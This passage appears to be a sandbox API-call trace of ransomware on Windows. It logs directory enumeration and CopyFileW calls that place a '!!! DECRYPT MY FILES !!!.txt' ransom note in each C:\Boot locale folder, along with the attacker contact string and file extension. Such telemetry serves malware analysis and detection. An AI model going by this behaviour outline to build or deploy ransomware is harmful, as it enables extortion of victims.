dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0102.350] SysReAllocStringLen (in: pbstr=0x6ebf338*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf338*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0102.350] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0102.350] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe33c, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txt") returned 28 [0102.350] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x64e230, cbMultiByte=17, lpWideCharStr=0x6ebe338, cchWideChar=2047 | out: lpWideCharStr="TEEWLJH3QNDSEELUTFILES !!!.txt") returned 17 [0102.350] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT", lpFindFileData=0x6ebf0a4 | out: lpFindFileData=0x6ebf0a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf971581b, ftCreationTime.dwHighDateTime=0x1d5e216, ftLastAccessTime.dwLowDateTime=0xf971581b, ftLastAccessTime.dwHighDateTime=0x1d5e216, ftLastWriteTime.dwLowDateTime=0xf971581b, ftLastWriteTime.dwHighDateTime=0x1d5e216, nFileSizeHigh=0x0, nFileSizeLow=0x12f, dwReserved0=0xc48a0490, dwReserved1=0x778947df, cFileName="TEEWLJH3QNDSEELUT", cAlternateFileName="TEEWLJ~1")) returned 0x6d5540 [0102.350] FindClose (in: hFindFile=0x6d5540 | out: hFindFile=0x6d5540) returned 1 [0102.351] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Boot\\hu-HU\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\boot\\hu-hu\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0102.357] GetProcessHeap () returned 0x630000 [0102.357] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc) returned 0x6b1208 [0102.357] FindNextFileW (in: hFindFile=0x6d5240, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0102.357] FindClose (in: hFindFile=0x6d5240 | out: hFindFile=0x6d5240) returned 1 [0102.357] FindNextFileW (in: hFindFile=0x6d4e00, lpFindFileData=0x6ebf66c | out: lpFindFileData=0x6ebf66c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010ccad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5d8ab4, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-IT", cAlternateFileName="")) returned 1 [0102.357] SysReAllocStringLen (in: pbstr=0x6ebf3a0*=0x0, psz="C:\\Boot\\it-IT\\", len=0xe | out: pbstr=0x6ebf3a0*="C:\\Boot\\it-IT\\") returned 1 [0102.357] CharLowerBuffW (in: lpsz="C:\\Boot\\it-IT\\", cchLength=0xe | out: lpsz="c:\\boot\\it-it\\") returned 0xe [0102.358] SysReAllocStringLen (in: pbstr=0x6ebf348*=0x0, psz="C:\\Users\\FD1HVy\\Desktop\\", len=0x18 | out: pbstr=0x6ebf348*="C:\\Users\\FD1HVy\\Desktop\\") returned 1 [0102.358] CharLowerBuffW (in: lpsz="C:\\Users\\FD1HVy\\Desktop\\", cchLength=0x18 | out: lpsz="c:\\users\\fd1hvy\\desktop\\") returned 0x18 [0102.358] FindFirstFileW (in: lpFileName="C:\\Boot\\it-IT\\*.*", lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010ccad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5d8ab4, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6d4f80 [0102.358] FindNextFileW (in: hFindFile=0x6d4f80, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010ccad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5d8ab4, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0102.359] FindNextFileW (in: hFindFile=0x6d4f80, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2123921c, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12d58, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0102.359] SysReAllocStringLen (in: pbstr=0x6ebf398*=0x0, psz="C:\\Boot\\it-IT\\bootmgr.exe.mui", len=0x1d | out: pbstr=0x6ebf398*="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned 1 [0102.359] CharLowerBuffW (in: lpsz="C:\\Boot\\it-IT\\bootmgr.exe.mui", cchLength=0x1d | out: lpsz="c:\\boot\\it-it\\bootmgr.exe.mui") returned 0x1d [0102.359] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0102.359] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0102.359] SysReAllocStringLen (in: pbstr=0x6ebf338*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf338*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0102.359] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0102.359] FindNextFileW (in: hFindFile=0x6d4f80, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5d8ab4, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf30285aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0102.359] SysReAllocStringLen (in: pbstr=0x6ebf398*="c:\\boot\\it-it\\bootmgr.exe.mui", psz="C:\\Boot\\it-IT\\memtest.exe.mui", len=0x1d | out: pbstr=0x6ebf398*="C:\\Boot\\it-IT\\memtest.exe.mui") returned 1 [0102.359] CharLowerBuffW (in: lpsz="C:\\Boot\\it-IT\\memtest.exe.mui", cchLength=0x1d | out: lpsz="c:\\boot\\it-it\\memtest.exe.mui") returned 0x1d [0102.359] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0102.359] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0102.359] SysReAllocStringLen (in: pbstr=0x6ebf338*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf338*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0102.360] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0102.360] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe33c, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txt") returned 28 [0102.360] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x64e230, cbMultiByte=17, lpWideCharStr=0x6ebe338, cchWideChar=2047 | out: lpWideCharStr="TEEWLJH3QNDSEELUTFILES !!!.txt") returned 17 [0102.360] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT", lpFindFileData=0x6ebf0a4 | out: lpFindFileData=0x6ebf0a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf971581b, ftCreationTime.dwHighDateTime=0x1d5e216, ftLastAccessTime.dwLowDateTime=0xf971581b, ftLastAccessTime.dwHighDateTime=0x1d5e216, ftLastWriteTime.dwLowDateTime=0xf971581b, ftLastWriteTime.dwHighDateTime=0x1d5e216, nFileSizeHigh=0x0, nFileSizeLow=0x12f, dwReserved0=0xc48a0490, dwReserved1=0x778947df, cFileName="TEEWLJH3QNDSEELUT", cAlternateFileName="TEEWLJ~1")) returned 0x6d5580 [0102.360] FindClose (in: hFindFile=0x6d5580 | out: hFindFile=0x6d5580) returned 1 [0102.360] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Boot\\it-IT\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\boot\\it-it\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0102.367] GetProcessHeap () returned 0x630000 [0102.367] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc) returned 0x6b1220 [0102.367] FindNextFileW (in: hFindFile=0x6d4f80, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0102.367] FindClose (in: hFindFile=0x6d4f80 | out: hFindFile=0x6d4f80) returned 1 [0102.367] FindNextFileW (in: hFindFile=0x6d4e00, lpFindFileData=0x6ebf66c | out: lpFindFileData=0x6ebf66c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010d0c0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5ed6c6, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-JP", cAlternateFileName="")) returned 1 [0102.367] SysReAllocStringLen (in: pbstr=0x6ebf3a0*=0x0, psz="C:\\Boot\\ja-JP\\", len=0xe | out: pbstr=0x6ebf3a0*="C:\\Boot\\ja-JP\\") returned 1 [0102.367] CharLowerBuffW (in: lpsz="C:\\Boot\\ja-JP\\", cchLength=0xe | out: lpsz="c:\\boot\\ja-jp\\") returned 0xe [0102.367] SysReAllocStringLen (in: pbstr=0x6ebf348*=0x0, psz="C:\\Users\\FD1HVy\\Desktop\\", len=0x18 | out: pbstr=0x6ebf348*="C:\\Users\\FD1HVy\\Desktop\\") returned 1 [0102.367] CharLowerBuffW (in: lpsz="C:\\Users\\FD1HVy\\Desktop\\", cchLength=0x18 | out: lpsz="c:\\users\\fd1hvy\\desktop\\") returned 0x18 [0102.368] FindFirstFileW (in: lpFileName="C:\\Boot\\ja-JP\\*.*", lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010d0c0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5ed6c6, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6d5500 [0102.369] FindNextFileW (in: hFindFile=0x6d5500, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010d0c0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5ed6c6, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0102.369] FindNextFileW (in: hFindFile=0x6d5500, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48c6596, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21212f9a, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x10760, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0102.369] SysReAllocStringLen (in: pbstr=0x6ebf398*=0x0, psz="C:\\Boot\\ja-JP\\bootmgr.exe.mui", len=0x1d | out: pbstr=0x6ebf398*="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 1 [0102.369] CharLowerBuffW (in: lpsz="C:\\Boot\\ja-JP\\bootmgr.exe.mui", cchLength=0x1d | out: lpsz="c:\\boot\\ja-jp\\bootmgr.exe.mui") returned 0x1d [0102.369] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0102.369] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0102.369] SysReAllocStringLen (in: pbstr=0x6ebf338*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf338*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0102.369] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0102.370] FindNextFileW (in: hFindFile=0x6d5500, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5ed6c6, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf300233f, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xa798, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0102.370] SysReAllocStringLen (in: pbstr=0x6ebf398*="c:\\boot\\ja-jp\\bootmgr.exe.mui", psz="C:\\Boot\\ja-JP\\memtest.exe.mui", len=0x1d | out: pbstr=0x6ebf398*="C:\\Boot\\ja-JP\\memtest.exe.mui") returned 1 [0102.370] CharLowerBuffW (in: lpsz="C:\\Boot\\ja-JP\\memtest.exe.mui", cchLength=0x1d | out: lpsz="c:\\boot\\ja-jp\\memtest.exe.mui") returned 0x1d [0102.370] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0102.370] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0102.370] SysReAllocStringLen (in: pbstr=0x6ebf338*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf338*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0102.370] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0102.370] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe33c, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txt") returned 28 [0102.370] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x64e230, cbMultiByte=17, lpWideCharStr=0x6ebe338, cchWideChar=2047 | out: lpWideCharStr="TEEWLJH3QNDSEELUTFILES !!!.txt") returned 17 [0102.370] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT", lpFindFileData=0x6ebf0a4 | out: lpFindFileData=0x6ebf0a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf971581b, ftCreationTime.dwHighDateTime=0x1d5e216, ftLastAccessTime.dwLowDateTime=0xf971581b, ftLastAccessTime.dwHighDateTime=0x1d5e216, ftLastWriteTime.dwLowDateTime=0xf971581b, ftLastWriteTime.dwHighDateTime=0x1d5e216, nFileSizeHigh=0x0, nFileSizeLow=0x12f, dwReserved0=0xc48c6596, dwReserved1=0x778947df, cFileName="TEEWLJH3QNDSEELUT", cAlternateFileName="TEEWLJ~1")) returned 0x6d5280 [0102.371] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0102.371] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Boot\\ja-JP\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\boot\\ja-jp\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0102.375] GetProcessHeap () returned 0x630000 [0102.375] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc) returned 0x6b1430 [0102.375] FindNextFileW (in: hFindFile=0x6d5500, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0102.375] FindClose (in: hFindFile=0x6d5500 | out: hFindFile=0x6d5500) returned 1 [0102.375] FindNextFileW (in: hFindFile=0x6d4e00, lpFindFileData=0x6ebf66c | out: lpFindFileData=0x6ebf66c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5fc210, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef5fc210, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-KR", cAlternateFileName="")) returned 1 [0102.375] SysReAllocStringLen (in: pbstr=0x6ebf3a0*=0x0, psz="C:\\Boot\\ko-KR\\", len=0xe | out: pbstr=0x6ebf3a0*="C:\\Boot\\ko-KR\\") returned 1 [0102.376] CharLowerBuffW (in: lpsz="C:\\Boot\\ko-KR\\", cchLength=0xe | out: lpsz="c:\\boot\\ko-kr\\") returned 0xe [0102.376] SysReAllocStringLen (in: pbstr=0x6ebf348*=0x0, psz="C:\\Users\\FD1HVy\\Desktop\\", len=0x18 | out: pbstr=0x6ebf348*="C:\\Users\\FD1HVy\\Desktop\\") returned 1 [0102.376] CharLowerBuffW (in: lpsz="C:\\Users\\FD1HVy\\Desktop\\", cchLength=0x18 | out: lpsz="c:\\users\\fd1hvy\\desktop\\") returned 0x18 [0102.376] FindFirstFileW (in: lpFileName="C:\\Boot\\ko-KR\\*.*", lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5fc210, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef5fc210, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6d4ec0 [0102.525] FindNextFileW (in: hFindFile=0x6d4ec0, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5fc210, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef5fc210, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0102.525] FindNextFileW (in: hFindFile=0x6d4ec0, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x211c6af1, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x10560, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0102.525] SysReAllocStringLen (in: pbstr=0x6ebf398*=0x0, psz="C:\\Boot\\ko-KR\\bootmgr.exe.mui", len=0x1d | out: pbstr=0x6ebf398*="C:\\Boot\\ko-KR\\bootmgr.exe.mui") returned 1 [0102.525] CharLowerBuffW (in: lpsz="C:\\Boot\\ko-KR\\bootmgr.exe.mui", cchLength=0x1d | out: lpsz="c:\\boot\\ko-kr\\bootmgr.exe.mui") returned 0x1d [0102.526] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0102.526] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0102.526] SysReAllocStringLen (in: pbstr=0x6ebf338*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf338*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0102.526] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0102.526] FindNextFileW (in: hFindFile=0x6d4ec0, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5fc210, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2fdc0d7, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xa7a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0102.526] SysReAllocStringLen (in: pbstr=0x6ebf398*="c:\\boot\\ko-kr\\bootmgr.exe.mui", psz="C:\\Boot\\ko-KR\\memtest.exe.mui", len=0x1d | out: pbstr=0x6ebf398*="C:\\Boot\\ko-KR\\memtest.exe.mui") returned 1 [0102.526] CharLowerBuffW (in: lpsz="C:\\Boot\\ko-KR\\memtest.exe.mui", cchLength=0x1d | out: lpsz="c:\\boot\\ko-kr\\memtest.exe.mui") returned 0x1d [0102.526] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0102.526] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0102.526] SysReAllocStringLen (in: pbstr=0x6ebf338*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf338*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0102.526] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0102.526] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe33c, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txt") returned 28 [0102.527] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x64e230, cbMultiByte=17, lpWideCharStr=0x6ebe338, cchWideChar=2047 | out: lpWideCharStr="TEEWLJH3QNDSEELUTFILES !!!.txt") returned 17 [0102.527] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT", lpFindFileData=0x6ebf0a4 | out: lpFindFileData=0x6ebf0a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf971581b, ftCreationTime.dwHighDateTime=0x1d5e216, ftLastAccessTime.dwLowDateTime=0xf971581b, ftLastAccessTime.dwHighDateTime=0x1d5e216, ftLastWriteTime.dwLowDateTime=0xf971581b, ftLastWriteTime.dwHighDateTime=0x1d5e216, nFileSizeHigh=0x0, 